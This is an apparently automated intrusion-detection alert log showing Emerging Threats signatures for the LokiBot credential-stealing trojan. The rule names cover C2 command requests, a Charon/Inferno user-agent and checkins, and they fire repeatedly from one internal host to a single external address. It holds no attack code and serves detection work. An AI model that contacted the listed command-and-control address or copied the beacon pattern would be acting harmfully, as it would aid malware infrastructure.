07/27/21-22:07:44.482639	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.6	172.67.155.45
07/27/21-22:07:44.482639	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.6	172.67.155.45
07/27/21-22:07:44.482639	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.6	172.67.155.45
07/27/21-22:07:45.094518	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.6	172.67.155.45
07/27/21-22:07:45.094518	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.6	172.67.155.45
07/27/21-22:07:45.094518	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.6	172.67.155.45
07/27/21-22:07:45.665029	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.6	172.67.155.45
07/27/21-22:07:45.665029	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.6	172.67.155.45
07/27/21-22:07:45.665029	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.6	172.67.155.45
07/27/21-22:07:46.233970	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.6	172.67.155.45
07/27/21-22:07:46.233970	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.6	172.67.155.45
07/27/21-22:07:46.233970	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.6	172.67.155.45
07/27/21-22:07:46.813707	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49784	80	192.168.2.6	172.67.155.45
07/27/21-22:07:46.813707	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49784	80	192.168.2.6	172.67.155.45
07/27/21-22:07:46.813707	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.6	172.67.155.45
07/27/21-22:07:47.392684	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49785	80	192.168.2.6	172.67.155.45
07/27/21-22:07:47.392684	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49785	80	192.168.2.6	172.67.155.45
07/27/21-22:07:47.392684	TCP	2025381	ET TROJAN LokiBot Checkin	49785	80	192.168.2.6	172.67.155.45
07/27/21-22:07:47.939809	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.6	172.67.155.45
07/27/21-22:07:47.939809	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.6	172.67.155.45
07/27/21-22:07:47.939809	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.6	172.67.155.45
07/27/21-22:07:48.486304	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.6	172.67.155.45
07/27/21-22:07:48.486304	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.6	172.67.155.45
07/27/21-22:07:48.486304	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.6	172.67.155.45
07/27/21-22:07:49.024649	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.6	172.67.155.45
07/27/21-22:07:49.024649	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.6	172.67.155.45
07/27/21-22:07:49.024649	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.6	172.67.155.45
07/27/21-22:07:49.556924	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.6	172.67.155.45
07/27/21-22:07:49.556924	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.6	172.67.155.45
07/27/21-22:07:49.556924	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.6	172.67.155.45
07/27/21-22:07:50.121948	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.6	172.67.155.45
07/27/21-22:07:50.121948	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.6	172.67.155.45
07/27/21-22:07:50.121948	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.6	172.67.155.45
07/27/21-22:07:50.778932	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.6	172.67.155.45
07/27/21-22:07:50.778932	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.6	172.67.155.45
07/27/21-22:07:50.778932	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.6	172.67.155.45
07/27/21-22:07:51.399234	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.6	172.67.155.45
07/27/21-22:07:51.399234	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.6	172.67.155.45
07/27/21-22:07:51.399234	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.6	172.67.155.45
07/27/21-22:07:52.014486	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.6	172.67.155.45
07/27/21-22:07:52.014486	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.6	172.67.155.45
07/27/21-22:07:52.014486	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.6	172.67.155.45
07/27/21-22:07:52.626590	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.6	172.67.155.45
07/27/21-22:07:52.626590	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.6	172.67.155.45
07/27/21-22:07:52.626590	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.6	172.67.155.45
07/27/21-22:07:53.198730	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.6	172.67.155.45
07/27/21-22:07:53.198730	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.6	172.67.155.45
07/27/21-22:07:53.198730	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.6	172.67.155.45
07/27/21-22:07:53.919659	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.6	172.67.155.45
07/27/21-22:07:53.919659	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.6	172.67.155.45
07/27/21-22:07:53.919659	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.6	172.67.155.45
07/27/21-22:07:54.551396	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.6	172.67.155.45
07/27/21-22:07:54.551396	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.6	172.67.155.45
07/27/21-22:07:54.551396	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.6	172.67.155.45
07/27/21-22:07:55.090353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.6	172.67.155.45
07/27/21-22:07:55.090353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.6	172.67.155.45
07/27/21-22:07:55.090353	TCP	2025381	ET TROJAN LokiBot Checkin	49799	80	192.168.2.6	172.67.155.45
07/27/21-22:07:55.636684	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49801	80	192.168.2.6	172.67.155.45
07/27/21-22:07:55.636684	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49801	80	192.168.2.6	172.67.155.45
07/27/21-22:07:55.636684	TCP	2025381	ET TROJAN LokiBot Checkin	49801	80	192.168.2.6	172.67.155.45
07/27/21-22:07:56.349514	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.6	172.67.155.45
07/27/21-22:07:56.349514	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49802	80	192.168.2.6	172.67.155.45
07/27/21-22:07:56.349514	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.6	172.67.155.45
07/27/21-22:07:56.996817	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49803	80	192.168.2.6	172.67.155.45
07/27/21-22:07:56.996817	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49803	80	192.168.2.6	172.67.155.45
07/27/21-22:07:56.996817	TCP	2025381	ET TROJAN LokiBot Checkin	49803	80	192.168.2.6	172.67.155.45
07/27/21-22:07:57.687828	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49805	80	192.168.2.6	172.67.155.45
07/27/21-22:07:57.687828	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49805	80	192.168.2.6	172.67.155.45
07/27/21-22:07:57.687828	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.6	172.67.155.45
07/27/21-22:07:58.971756	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49806	80	192.168.2.6	172.67.155.45
07/27/21-22:07:58.971756	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49806	80	192.168.2.6	172.67.155.45
07/27/21-22:07:58.971756	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.6	172.67.155.45
07/27/21-22:08:00.242826	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.6	172.67.155.45
07/27/21-22:08:00.242826	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.6	172.67.155.45
07/27/21-22:08:00.242826	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.6	172.67.155.45
07/27/21-22:08:00.885443	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49808	80	192.168.2.6	172.67.155.45
07/27/21-22:08:00.885443	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49808	80	192.168.2.6	172.67.155.45
07/27/21-22:08:00.885443	TCP	2025381	ET TROJAN LokiBot Checkin	49808	80	192.168.2.6	172.67.155.45
07/27/21-22:08:01.570871	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49809	80	192.168.2.6	172.67.155.45
07/27/21-22:08:01.570871	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49809	80	192.168.2.6	172.67.155.45
07/27/21-22:08:01.570871	TCP	2025381	ET TROJAN LokiBot Checkin	49809	80	192.168.2.6	172.67.155.45
07/27/21-22:08:02.213197	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49810	80	192.168.2.6	172.67.155.45
07/27/21-22:08:02.213197	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49810	80	192.168.2.6	172.67.155.45
07/27/21-22:08:02.213197	TCP	2025381	ET TROJAN LokiBot Checkin	49810	80	192.168.2.6	172.67.155.45
07/27/21-22:08:02.846436	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49811	80	192.168.2.6	172.67.155.45
07/27/21-22:08:02.846436	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49811	80	192.168.2.6	172.67.155.45
07/27/21-22:08:02.846436	TCP	2025381	ET TROJAN LokiBot Checkin	49811	80	192.168.2.6	172.67.155.45
07/27/21-22:08:03.429326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49812	80	192.168.2.6	172.67.155.45
07/27/21-22:08:03.429326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.6	172.67.155.45
07/27/21-22:08:03.429326	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.6	172.67.155.45
07/27/21-22:08:04.177614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49813	80	192.168.2.6	172.67.155.45
07/27/21-22:08:04.177614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.6	172.67.155.45
07/27/21-22:08:04.177614	TCP	2025381	ET TROJAN LokiBot Checkin	49813	80	192.168.2.6	172.67.155.45
07/27/21-22:08:04.682112	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49814	80	192.168.2.6	172.67.155.45
07/27/21-22:08:04.682112	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49814	80	192.168.2.6	172.67.155.45
07/27/21-22:08:04.682112	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.6	172.67.155.45
07/27/21-22:08:05.267945	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.6	172.67.155.45
07/27/21-22:08:05.267945	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49815	80	192.168.2.6	172.67.155.45
07/27/21-22:08:05.267945	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.6	172.67.155.45
07/27/21-22:08:05.894110	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49817	80	192.168.2.6	172.67.155.45
07/27/21-22:08:05.894110	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.6	172.67.155.45
07/27/21-22:08:05.894110	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.6	172.67.155.45
07/27/21-22:08:06.411176	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49818	80	192.168.2.6	172.67.155.45
07/27/21-22:08:06.411176	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49818	80	192.168.2.6	172.67.155.45
07/27/21-22:08:06.411176	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.6	172.67.155.45
07/27/21-22:08:06.971579	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.6	172.67.155.45
07/27/21-22:08:06.971579	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.6	172.67.155.45
07/27/21-22:08:06.971579	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.6	172.67.155.45
07/27/21-22:08:07.564484	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49820	80	192.168.2.6	172.67.155.45
07/27/21-22:08:07.564484	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.6	172.67.155.45
07/27/21-22:08:07.564484	TCP	2025381	ET TROJAN LokiBot Checkin	49820	80	192.168.2.6	172.67.155.45
07/27/21-22:08:08.179234	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49821	80	192.168.2.6	172.67.155.45
07/27/21-22:08:08.179234	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49821	80	192.168.2.6	172.67.155.45
07/27/21-22:08:08.179234	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.6	172.67.155.45
07/27/21-22:08:08.775050	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.6	172.67.155.45
07/27/21-22:08:08.775050	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49822	80	192.168.2.6	172.67.155.45
07/27/21-22:08:08.775050	TCP	2025381	ET TROJAN LokiBot Checkin	49822	80	192.168.2.6	172.67.155.45
07/27/21-22:08:09.447357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49824	80	192.168.2.6	172.67.155.45
07/27/21-22:08:09.447357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49824	80	192.168.2.6	172.67.155.45
07/27/21-22:08:09.447357	TCP	2025381	ET TROJAN LokiBot Checkin	49824	80	192.168.2.6	172.67.155.45
07/27/21-22:08:10.454439	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49825	80	192.168.2.6	172.67.155.45
07/27/21-22:08:10.454439	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49825	80	192.168.2.6	172.67.155.45
07/27/21-22:08:10.454439	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.6	172.67.155.45
07/27/21-22:08:11.011486	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49826	80	192.168.2.6	172.67.155.45
07/27/21-22:08:11.011486	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49826	80	192.168.2.6	172.67.155.45
07/27/21-22:08:11.011486	TCP	2025381	ET TROJAN LokiBot Checkin	49826	80	192.168.2.6	172.67.155.45
07/27/21-22:08:11.688474	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49827	80	192.168.2.6	172.67.155.45
07/27/21-22:08:11.688474	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49827	80	192.168.2.6	172.67.155.45
07/27/21-22:08:11.688474	TCP	2025381	ET TROJAN LokiBot Checkin	49827	80	192.168.2.6	172.67.155.45
07/27/21-22:08:12.259210	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.6	172.67.155.45
07/27/21-22:08:12.259210	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49828	80	192.168.2.6	172.67.155.45
07/27/21-22:08:12.259210	TCP	2025381	ET TROJAN LokiBot Checkin	49828	80	192.168.2.6	172.67.155.45
07/27/21-22:08:12.801677	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49829	80	192.168.2.6	172.67.155.45
07/27/21-22:08:12.801677	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49829	80	192.168.2.6	172.67.155.45
07/27/21-22:08:12.801677	TCP	2025381	ET TROJAN LokiBot Checkin	49829	80	192.168.2.6	172.67.155.45
07/27/21-22:08:13.334929	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49830	80	192.168.2.6	172.67.155.45
07/27/21-22:08:13.334929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49830	80	192.168.2.6	172.67.155.45
07/27/21-22:08:13.334929	TCP	2025381	ET TROJAN LokiBot Checkin	49830	80	192.168.2.6	172.67.155.45
07/27/21-22:08:13.981255	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49831	80	192.168.2.6	172.67.155.45
07/27/21-22:08:13.981255	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49831	80	192.168.2.6	172.67.155.45
07/27/21-22:08:13.981255	TCP	2025381	ET TROJAN LokiBot Checkin	49831	80	192.168.2.6	172.67.155.45
07/27/21-22:08:14.567964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49832	80	192.168.2.6	172.67.155.45
07/27/21-22:08:14.567964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.6	172.67.155.45
07/27/21-22:08:14.567964	TCP	2025381	ET TROJAN LokiBot Checkin	49832	80	192.168.2.6	172.67.155.45
07/27/21-22:08:16.487615	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49833	80	192.168.2.6	172.67.155.45
07/27/21-22:08:16.487615	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49833	80	192.168.2.6	172.67.155.45
07/27/21-22:08:16.487615	TCP	2025381	ET TROJAN LokiBot Checkin	49833	80	192.168.2.6	172.67.155.45
07/27/21-22:08:18.515836	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.6	172.67.155.45
07/27/21-22:08:18.515836	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.6	172.67.155.45
07/27/21-22:08:18.515836	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.6	172.67.155.45
07/27/21-22:08:19.139353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49835	80	192.168.2.6	172.67.155.45
07/27/21-22:08:19.139353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49835	80	192.168.2.6	172.67.155.45
07/27/21-22:08:19.139353	TCP	2025381	ET TROJAN LokiBot Checkin	49835	80	192.168.2.6	172.67.155.45
07/27/21-22:08:19.677779	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49836	80	192.168.2.6	172.67.155.45
07/27/21-22:08:19.677779	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49836	80	192.168.2.6	172.67.155.45
07/27/21-22:08:19.677779	TCP	2025381	ET TROJAN LokiBot Checkin	49836	80	192.168.2.6	172.67.155.45
07/27/21-22:08:20.244425	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49837	80	192.168.2.6	172.67.155.45
07/27/21-22:08:20.244425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49837	80	192.168.2.6	172.67.155.45
07/27/21-22:08:20.244425	TCP	2025381	ET TROJAN LokiBot Checkin	49837	80	192.168.2.6	172.67.155.45
07/27/21-22:08:20.817681	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49838	80	192.168.2.6	172.67.155.45
07/27/21-22:08:20.817681	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49838	80	192.168.2.6	172.67.155.45
07/27/21-22:08:20.817681	TCP	2025381	ET TROJAN LokiBot Checkin	49838	80	192.168.2.6	172.67.155.45
07/27/21-22:08:21.356277	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49839	80	192.168.2.6	172.67.155.45
07/27/21-22:08:21.356277	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49839	80	192.168.2.6	172.67.155.45
07/27/21-22:08:21.356277	TCP	2025381	ET TROJAN LokiBot Checkin	49839	80	192.168.2.6	172.67.155.45
07/27/21-22:08:21.950442	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49840	80	192.168.2.6	172.67.155.45
07/27/21-22:08:21.950442	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49840	80	192.168.2.6	172.67.155.45
07/27/21-22:08:21.950442	TCP	2025381	ET TROJAN LokiBot Checkin	49840	80	192.168.2.6	172.67.155.45
07/27/21-22:08:22.496307	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49841	80	192.168.2.6	172.67.155.45
07/27/21-22:08:22.496307	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49841	80	192.168.2.6	172.67.155.45
07/27/21-22:08:22.496307	TCP	2025381	ET TROJAN LokiBot Checkin	49841	80	192.168.2.6	172.67.155.45
07/27/21-22:08:23.070750	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49842	80	192.168.2.6	172.67.155.45
07/27/21-22:08:23.070750	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49842	80	192.168.2.6	172.67.155.45
07/27/21-22:08:23.070750	TCP	2025381	ET TROJAN LokiBot Checkin	49842	80	192.168.2.6	172.67.155.45
07/27/21-22:08:23.617376	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49843	80	192.168.2.6	172.67.155.45
07/27/21-22:08:23.617376	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49843	80	192.168.2.6	172.67.155.45
07/27/21-22:08:23.617376	TCP	2025381	ET TROJAN LokiBot Checkin	49843	80	192.168.2.6	172.67.155.45
07/27/21-22:08:24.154417	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.2.6	172.67.155.45
07/27/21-22:08:24.154417	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.2.6	172.67.155.45
07/27/21-22:08:24.154417	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.2.6	172.67.155.45
07/27/21-22:08:24.751824	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.6	172.67.155.45
07/27/21-22:08:24.751824	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.6	172.67.155.45
07/27/21-22:08:24.751824	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.6	172.67.155.45
07/27/21-22:08:25.352816	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.6	172.67.155.45
07/27/21-22:08:25.352816	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.6	172.67.155.45
07/27/21-22:08:25.352816	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.6	172.67.155.45
07/27/21-22:08:25.917753	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.2.6	172.67.155.45
07/27/21-22:08:25.917753	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.2.6	172.67.155.45
07/27/21-22:08:25.917753	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.2.6	172.67.155.45
07/27/21-22:08:26.484886	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.2.6	172.67.155.45
07/27/21-22:08:26.484886	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.2.6	172.67.155.45
07/27/21-22:08:26.484886	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.2.6	172.67.155.45
07/27/21-22:08:27.052259	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49849	80	192.168.2.6	172.67.155.45
07/27/21-22:08:27.052259	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49849	80	192.168.2.6	172.67.155.45
07/27/21-22:08:27.052259	TCP	2025381	ET TROJAN LokiBot Checkin	49849	80	192.168.2.6	172.67.155.45
07/27/21-22:08:27.727507	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.2.6	172.67.155.45
07/27/21-22:08:27.727507	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.2.6	172.67.155.45
07/27/21-22:08:27.727507	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.2.6	172.67.155.45
07/27/21-22:08:28.309002	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.2.6	172.67.155.45
07/27/21-22:08:28.309002	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.2.6	172.67.155.45
07/27/21-22:08:28.309002	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.2.6	172.67.155.45
07/27/21-22:08:28.847564	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49852	80	192.168.2.6	172.67.155.45
07/27/21-22:08:28.847564	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49852	80	192.168.2.6	172.67.155.45
07/27/21-22:08:28.847564	TCP	2025381	ET TROJAN LokiBot Checkin	49852	80	192.168.2.6	172.67.155.45
07/27/21-22:08:29.415046	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.2.6	172.67.155.45
07/27/21-22:08:29.415046	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.2.6	172.67.155.45
07/27/21-22:08:29.415046	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.2.6	172.67.155.45
07/27/21-22:08:29.945984	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.2.6	172.67.155.45
07/27/21-22:08:29.945984	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.2.6	172.67.155.45
07/27/21-22:08:29.945984	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.2.6	172.67.155.45
07/27/21-22:08:30.499688	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.6	172.67.155.45
07/27/21-22:08:30.499688	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.6	172.67.155.45
07/27/21-22:08:30.499688	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.6	172.67.155.45
07/27/21-22:08:31.077858	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.2.6	172.67.155.45
07/27/21-22:08:31.077858	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.2.6	172.67.155.45
07/27/21-22:08:31.077858	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.2.6	172.67.155.45
07/27/21-22:08:31.656078	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.2.6	172.67.155.45
07/27/21-22:08:31.656078	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.2.6	172.67.155.45
07/27/21-22:08:31.656078	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.2.6	172.67.155.45
07/27/21-22:08:32.207091	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.2.6	172.67.155.45
